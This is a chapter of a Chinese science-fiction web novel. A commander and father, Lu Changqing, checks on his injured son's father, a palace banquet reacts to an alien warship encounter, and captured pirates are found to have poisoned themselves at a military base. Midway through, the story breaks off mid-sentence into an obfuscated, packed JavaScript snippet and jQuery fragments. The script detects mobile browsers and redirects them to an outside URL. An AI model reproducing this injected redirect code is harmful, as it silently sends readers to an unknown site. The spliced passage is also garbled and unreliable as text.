18.向恒

作品:《陆医生总想抢我崽!

    陆长青第二天才接收到贺乐言的信息。


    一连收到很多条,应该是陆陆续续发的,小孩儿先是问了他米斯特人的事,又问了几个关于战舰飞船的术语,这是听贺琛说了什么?


    陆长青正想着,翻到最后两条:一条问“大怪物”耳朵受伤的事,一条又问人会吐血是怎么回事,是不是生病。


    陆长青蹙眉,从华贵的宴席间走开,打电话给贺乐言:“乐言,巡航回来了?”


    “还在飞船上,快回去了。”贺乐言有条有理答。答完叫了声“爸比”,才有了孩子式的软糯和依赖。


    “爸比收到你的信息了,怎么,有谁吐血了吗?”


    “嗯,”贺乐言咬了咬唇,放低声音说,“是大怪物。”


    “你爸爸?”陆长青眉眼微沉,“爸爸现在怎么样?”


    “现在——”贺乐言看向一脸投入、正戴着大耳机玩一个什么狙击游戏的贺琛,“现在没事了。”


    “你把电话给爸爸。”陆长青说。


    那他可正忙着呢。贺乐言迟疑了下,还是拽拽贺琛。


    “怎么了乐言,你想试试了吗?来爸爸教你!”贺琛兴高采烈,然而贺乐言终端传来道冰雪一样清凌的声音,让他冷静不少——


    “要教乐言什么?”


    “啊,没什么。”贺琛没道理地心虚,“就是一些基础的单兵实战小技巧。”


    贺琛说着,关掉游戏……的声音,瞅准时机给对手补了一枪。


    “听乐言说你吐血了,是怎么回事?”


    贺琛看了贺乐言一眼,心思从游戏上收回来:“没怎么回事,巡查遇到点儿小意外,乐言跟您说什么了?”


    “乐言很担心你。”


    “真的?”贺琛眼睛一亮,又稳重清清喉咙,“唔,我知道了,我没事。”


    “遇到什么意外了,伤重不重?”


    “不重,也没遇到什么事,陆医生,巡航是军事行动,细节我不便透漏,您以后也不用多问。”


    有乐言在,他们以后免不了要交流,贺琛认为有必要把这一点事先说清楚。


    那头的“陆医生”沉默了一晌,平静答:“知道了,是我欠考虑。贺长官保重身体,伤大伤小,回基地都还是仔细检查一下的好。”


    *


    “长青,你来。”回到宴席,陆长青被上首御座上的皇帝召唤,“长青啊,出事了,你知道汉河基地那边发生了什么吗?”


    陆长青眯了瞬眼:“不知道。”


    “他们出去巡航,遇到米斯特的战船了。”皇帝声调沉沉道。


    米斯特?


    陆长青双眸微垂。有宫侍给他倒酒,见他并未像平常一样拂手拒绝,有些诧异,小心缓慢给他继续斟下去。


    “听云棋说还是天狼族,臣妾接到他的消息都不敢信。”御座旁的贺妃捂着心口说,“陛下,臣妾心慌,您快叫云棋回来,那孩子傻了,满脑子亢奋,说什么要跟将士们共进退,我怎么说他都不听!”


    “天狼族……”皇帝咀嚼般重复一遍,又忽然反应过来似的,不悦看向贺妃,“天狼族又怎样,怎么,之前不是你逼着他去历练的?”


    “我是让他历练,没让他去送——”贺妃说到一半,察觉自己失言,住了口,换上一脸娇弱的请求,“陛下……”


    “好了,云棋不是说了吗,只有一艘船,已经赶走了,你不要瞎担心,云棋都不怕,你怕什么。”


    “那孩子是缺心眼儿,不知道怕。”贺妃嗔道。


    “哦,朕的儿子缺心眼儿?贺妃,你是骂他,还是骂朕呢?”


    皇帝已显老迈,这一质问,声量不高,语气也轻飘玩味,贺妃却立刻低下头,秀美的脸煞白:“臣妾不敢!”


    “三殿下骁勇,遇敌不乱,确实有陛下当年的影子,不愧是陛下的血脉。”一直在旁边静静听着的陆长青缓声开口。


    “可是朕和云棋父子,在她眼里都是缺心眼呢!”皇帝又哼一声,听着却不再是不高兴的样子。


    贺妃的心落了地。她未敢抬头,抬起眼角,感激地看了眼陆长青的方向。


    *


    “发生了什么?遇到了米斯特战船?”


    巡航队返回汉河基地,向恒已经带人在引桥处迎接,看到贺琛走下飞船,立刻迎上来。


    “没什么。”贺琛从宁天手上接过贺乐言,把他抱下来,牵着他站定,打量向恒,“休息得怎么样?”


    “不是说这个的时候。”向恒说着,却也打量了一眼他们父子,“起摩擦没有,你——和大家有没有事?”


    他看向陆续走下飞船的战士。


    “我有事!”楚云棋形容憔悴下了船,“向指导你把我坑惨了,快,给我准备热水我要泡澡,再叫你们的治疗师来给我放松放松,哎呀我头晕,头疼……”


    “是,殿下。”向恒没跟他多周旋,示意后勤人员过来,把楚云棋引走。


    向恒重新看向贺琛,跟上他脚步:“事情军部已经知道了,让我们立刻提交报告,说明来龙去脉,怎么回事,怎么会遇到天狼族?”


    “内部倾轧,一个不得势的小子,估计惹了事儿逃亡呢,到处乱窜。”


    贺琛说着,加快了脚步:“我先回宿舍,乐言两天没喝奶了,光吃营养剂,赶紧给他泡一杯。”


    “让邓铁泡。”向恒说,“报告要紧。”


    “情况我这不都说了?剩下的让宁天口述、你执笔,细节宁天都知道。”


    贺琛不负责地甩手给宁天,拉着崽继续朝前走。


    宁天站住,皱皱眉:从飞船接近基地起,指挥官就莫名急躁,好像有什么事让他定不下心,现在表现得更加明显。


    向恒依旧跟在贺琛身后:“还有件事,我要向你报告。”


    贺琛脚步顿了一瞬,没有回身:“晚点再说,我也要洗澡。”


    他又朝前走,可是这回贺乐言停下脚,拖住了他,小嗓音稚嫩,且严肃:“还有事,你忘了?”


    “我忘了什么?”贺琛声音一秒变软,甚至有些谄媚——贺乐言竟然让他牵着手走了这么长一段路,现在他说什么他都点头。


    “你要做检查。”贺乐言认真地说。


    贺琛愣了下。崽一直,记着这个?


    “做!”贺琛眼睛豁然明朗,灼灼生辉,“喝完奶爸爸就做!”


    他忘形地把贺乐言抱起来,一阵风一样卷回宿舍区。


    向恒在原地看着他们背影消失,皱了皱眉,看向宁天:“做什么检查,他受了伤?”


    *


    贺琛身体没受什么伤,是精神域受了震荡。


    武士和精神体之间关系特殊,既算独立也为一体,雪狼和鲁珀战斗,短短时间消耗了贺琛大量精神力。


    “指挥官的精神域这段时间本来就不太稳定,其实不该动武。”绍英说着,关掉监测仪器,“波动值在临界线上,指挥官算进了暴动期,近一个月,不,两个月,都不要动用精神力为好。”


    两个月?贺琛皱皱眉:“知道了。”


    “如果头疼,可以做做冥想,疼得厉害不要硬撑,随时过来找我。”


    “好。”贺琛点头。


    “还要注意静养,视听嗅味触,五感都要避免接受过大的刺激,以免诱发精神力暴动。”


    “知道。”贺琛站起来,摘掉自己手腕上接的导线。


    邵英不确定他是不是真知道——毕竟他有顶风作案的前科,越让他远离刺激,他越忍不住玩两把声光都很刺激的游戏。


    “指挥官,暴动的后果您清楚,还请您一定重视。”


    对武士来说,一两次暴动没什么,怕的是反复暴动,到那时再厉害的治疗师也拉不回他们,武士会永远沉沦在一个失序失控、没有理智、没有意识的暴戾世界。


    “我会重视的。”贺琛神色有分认真,“我可是当爸爸的人。”


    他骄傲地弯了下唇角。


    那就好。邵英看他是真重视,松了口气:“指挥官,三年一述职,您也该回趟星都了吧?您的精神域等级已经是S级,其实我安抚起来效果不好,您回星都时,请务必找我们陆院长做一轮深度治疗。”


    找谁?贺琛神色僵了僵:“唔,我知道了。”


    他神色有些不自然地推开门,向恒和宁天等在门外,两个人四只眼睛,都关切地扫过他。


    “我没事。”贺琛被他们看得起鸡皮疙瘩,“报告写完了?”


    向恒把一个电子文件板递过来。


    贺琛一目十行看完,没提任何修改意见,在文件末尾盖上了自己的电子印章。


    向恒把文件发了出去,看向贺琛:“指挥官,有件事,我需要立刻报告。”


    “什么事?”贺琛问着,看向宁天,“你回去休息。”


    “宁天也听听比较好,和内防有关系。”向恒说。


    贺琛垂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325744|182707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在腿侧的手指绷了一瞬。


    “好,到我办公室说。”


    *


    “事情是昨天凌晨发生的,是我疏忽,看管不严,火狐的几个高层不知怎么买通了一个小警卫,小警卫给他们送了药,他们全都服毒自尽了。”


    “自尽?”宁天猛然抬起头来,“怎么可能?”


    那些亡命之徒,说越狱他都更容易信!


    “不知道,但从我们紧急调查的监控看,情况就是这样。”


    “那,抢救了吗?”宁天冷静了一瞬,又问。


    “抢救了,但为时已晚。”


    “没有一个活口?”宁天问。


    “没有。”


    没有。宁天在心里重复了一遍,捏紧拳头,手背青筋拱起:“那津哥的仇怎么办?三年前枉死的弟兄们怎么办!就是有人勾结火狐,泄露消息,才害得我们——”


    “宁天。”一直没出声的贺琛忽然开口,“什么勾结、枉死,那些都是你们私下议论,不要摆上台面胡说八道。”


    “我——”


    “再胡说八道就出去。”贺琛打断宁天,转向向恒,“那个小警卫呢?”


    “畏罪服毒,死在值班室了。”


    “死了?”


    贺琛静默一瞬,从办公桌后抬起头来,看向向恒双眼。


    “不知道他多大年纪,就做了别人的棋子,枉送一条性命?”


    向恒面色平静:“不管年纪多大,既然能被收买,早已背弃道德良心,死不足惜。”


    “如果有人威逼利诱呢?如果做棋子并非他本意呢?”


    贺琛疾声问着,对上不言不语的向恒,又吸了口气,冷静下来,声音放缓:


    “如果是被逼的,他可以说清楚,我们一起面对,不是吗?”


    他说着,眼睛紧盯着向恒,仿佛一个期待着得到肯定回答的孩子。


    向恒静了一瞬,避开他视线,公事公办道:“他是新兵,21岁,军事专科学院毕业的,之前的档案在调查了,如果另有隐情,希望可以找到破绽。”


    ……


    “你费心了。”沉默了一瞬,贺琛说。


    他收回视线,目光触到摆在桌面上的相框,又移开,眼眶有一瞬发红。


    “报告我已经在写了,这次事情全因我监管不力,我负全责。”向恒声音平静。


    “内线防控是我的职责,我用人不善,没早察觉漏洞,这错我背。”宁天沉着脸站起来。


    “用不着这样,几个星盗,偷杀抢掠无恶不作,死有余辜。”贺琛笑了下,语气轻松,“你们回去吧,这事儿我跟上面报告。”


    “你打算怎么报告?”宁天冷声质问,“别的事能大事化小,这件事不能,他们不可能是自杀!”


    “怎么不可能?是星盗就不能良心发现、以死谢罪了?”贺琛似乎着恼,“你不信你就凭本事去查,别在这儿跟我叨叨,吵得我脑壳疼,我要静养!静养你懂不懂?”


    “好,你养。”宁天看他一眼,捡起茶几上的军帽,迈着刀锋般的步子,头也不回离去。


    还“哐当”一声,把门用力合上。


    “混蛋。”贺琛看着门,嘟囔了一声。


    “你要静养,我也先回了。”向恒说着,把一份报告放在他桌上,“这是报告,今天太晚了,明天再看不迟。”


    贺琛点点头,看着他转身,又忽然出声:“向哥,快轮换驻防点了,你有什么打算?”


    向恒停住脚:“还没考虑过这件事。”


    “那也该考虑了。”贺琛说,“伯父伯母年龄都大了,向哥,下次换防,你争取留在星都吧,别再来汉河吃苦受罪了。”


    “好。”向恒转过身来,“我会认真考虑,你累了,别想太多,先休息吧。”


    想太多?


    目送向恒离开,贺琛静坐了会儿,点开终端,从加密区打开一个文件翻看。


    宁天以为火狐的人死了就没了证据,其实不是。把他们押送回基地前,贺琛就已经提前审讯过他们,拿到了证据。


    但所有证据指向的都是他不愿指向的人,因为背后的“真凶”从不跟火狐直接联系。


    要想牵扯出他们,必然绕不过中间的向恒。


    贺琛又看了眼相框,攥紧手指。


    向恒说得对,他累了,真的很累。


    但坐了片刻,他还是用力揉了把脸,站起身,大步向宿舍走去。